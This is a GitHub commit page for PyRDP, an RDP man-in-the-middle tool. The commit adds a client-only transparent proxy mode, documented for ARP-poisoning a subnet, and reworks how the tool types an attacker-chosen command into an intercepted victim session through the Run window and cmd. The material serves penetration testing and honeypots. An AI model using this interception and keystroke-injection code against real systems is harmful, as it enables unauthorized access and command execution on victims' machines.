Skip to content

Commit

Permalink
Merge pull request #239 from GoSecure/full-transparent
Browse files Browse the repository at this point in the history
Feature: Client-Only Transparent Proxy
  • Loading branch information
alxbl authored Jul 23, 2020
2 parents 95e9d75 + 448a7dc commit 58dbabe
Show file tree
Hide file tree
Showing 4 changed files with 48 additions and 8 deletions.
13 changes: 13 additions & 0 deletions docs/transparent-proxy.md
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,19 @@ PyRDP is deployed. It is likely that the examples below will not work
as-is and require modifications and testing during deployment.


There are two base modes for transparent proxying:

1. A single server is targeted and poisoned to reply to the MITM. The
MITM thus impersonates a single server and both clients and server
will not be aware of the proxy. This mode is useful for honeypots.

2. No server is targeted and the MITM will establish a direct
connection to the intended server. In this mode, the server will
see connections as coming from the MITM, but clients will not be
aware of the proxy. This mode is useful when ARP poisoning a subnet
during engagements.


## Basic L3 TPROXY

This example is a simple Layer 3 proxy which intercepts RDP
Expand Down
12 changes: 11 additions & 1 deletion pyrdp/mitm/AttackerMITM.py
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@
from logging import LoggerAdapter
from pathlib import Path
from typing import Dict, Optional
from functools import partial

from pyrdp.enum import FastPathInputType, FastPathOutputType, MouseButton, PlayerPDUType, PointerFlag, ScanCodeTuple
from pyrdp.layer import FastPathLayer, PlayerLayer
Expand Down Expand Up @@ -96,10 +97,19 @@ def sendKeys(self, keys: [ScanCodeTuple]):
for key in keys:
self.handleKeyboard(PlayerKeyboardPDU(0, key.code, released, key.extended))


def sendOne(self, x, y):
self.handleText(PlayerTextPDU(0, x, y))
return 25

def sendText(self, text: str):
seq = []

for c in text:
for released in [False, True]:
self.handleText(PlayerTextPDU(0, c, released))
seq.append(partial(self.sendOne, c, released))

return seq


def handleMouseMove(self, pdu: PlayerMouseMovePDU):
Expand Down
17 changes: 12 additions & 5 deletions pyrdp/mitm/RDPMITM.py
Original file line number Diff line number Diff line change
Expand Up @@ -191,7 +191,13 @@ async def connectToServer(self):
serverFactory = AwaitableClientFactory(self.server.tcp)
if self.config.transparent:
src = self.client.tcp.transport.client
connectTransparent(self.config.targetHost, self.config.targetPort, serverFactory, bindAddress=(src[0], 0))
if self.config.targetHost:
# Fully Transparent (with a specific poisoned target.)
connectTransparent(self.config.targetHost, self.config.targetPort, serverFactory, bindAddress=(src[0], 0))
else:
# Half Transparent (for client-side only)
dst = self.client.tcp.transport.getHost().host
reactor.connectTCP(dst, self.config.targetPort, serverFactory)
else:
reactor.connectTCP(self.config.targetHost, self.config.targetPort, serverFactory)

Expand Down Expand Up @@ -264,7 +270,7 @@ def buildIOChannel(self, client: MCSServerChannel, server: MCSClientChannel):
self.security = SecurityMITM(self.client.security, self.server.security, self.getLog("security"), self.config, self.state, self.recorder)
self.fastPath = FastPathMITM(self.client.fastPath, self.server.fastPath, self.state, self.statCounter)

if self.player.tcp.transport:
if self.player.tcp.transport or self.config.payload:
self.attacker = AttackerMITM(self.client.fastPath, self.server.fastPath, self.player.player, self.log, self.state, self.recorder)

if MCSChannelName.DEVICE_REDIRECTION in self.state.channelMap:
Expand Down Expand Up @@ -390,8 +396,7 @@ def sendEnterKey() -> int:
return 200

def sendPayload() -> int:
self.attacker.sendText(self.config.payload + " & exit")
return 200
return self.attacker.sendText(self.config.payload + " & exit")

def waitForPayload() -> int:
return self.config.payloadDuration
Expand All @@ -400,13 +405,15 @@ def enableForwarding():
self.state.forwardInput = True
self.state.forwardOutput = True


payload = sendPayload()
sequencer = AsyncIOSequencer([
waitForDelay,
disableForwarding,
openRunWindow,
sendCMD,
sendEnterKey,
sendPayload,
*payload,
sendEnterKey,
waitForPayload,
enableForwarding
Expand Down
14 changes: 12 additions & 2 deletions pyrdp/mitm/cli.py
Original file line number Diff line number Diff line change
Expand Up @@ -130,7 +130,7 @@ def showConfiguration(config: MITMConfig):

def buildArgParser():
parser = argparse.ArgumentParser()
parser.add_argument("target", help="IP:port of the target RDP machine (ex: 192.168.1.10:3390)")
parser.add_argument("target", help="IP:port of the target RDP machine (ex: 192.168.1.10:3390)", nargs='?', default=None)
parser.add_argument("-l", "--listen", help="Port number to listen on (default: 3389)", default=3389)
parser.add_argument("-o", "--output", help="Output folder", default="pyrdp_output")
parser.add_argument("-i", "--destination-ip",
Expand Down Expand Up @@ -211,7 +211,17 @@ def configure(cmdline=None) -> MITMConfig:
configureLoggers(cfg)
logger = logging.getLogger(LOGGER_NAMES.PYRDP)

targetHost, targetPort = parseTarget(args.target)
if args.target is None and not args.transparent:
parser.print_usage()
sys.stderr.write('error: A relay target is required unless running in transparent proxy mode.\n')
sys.exit(1)

if args.target:
targetHost, targetPort = parseTarget(args.target)
else:
targetHost = None
targetPort = 3389 # FIXME: Allow to set transparent port as well.

key, certificate = validateKeyAndCertificate(args.private_key, args.certificate)

config = MITMConfig()
Expand Down

0 comments on commit 58dbabe

Please sign in to comment.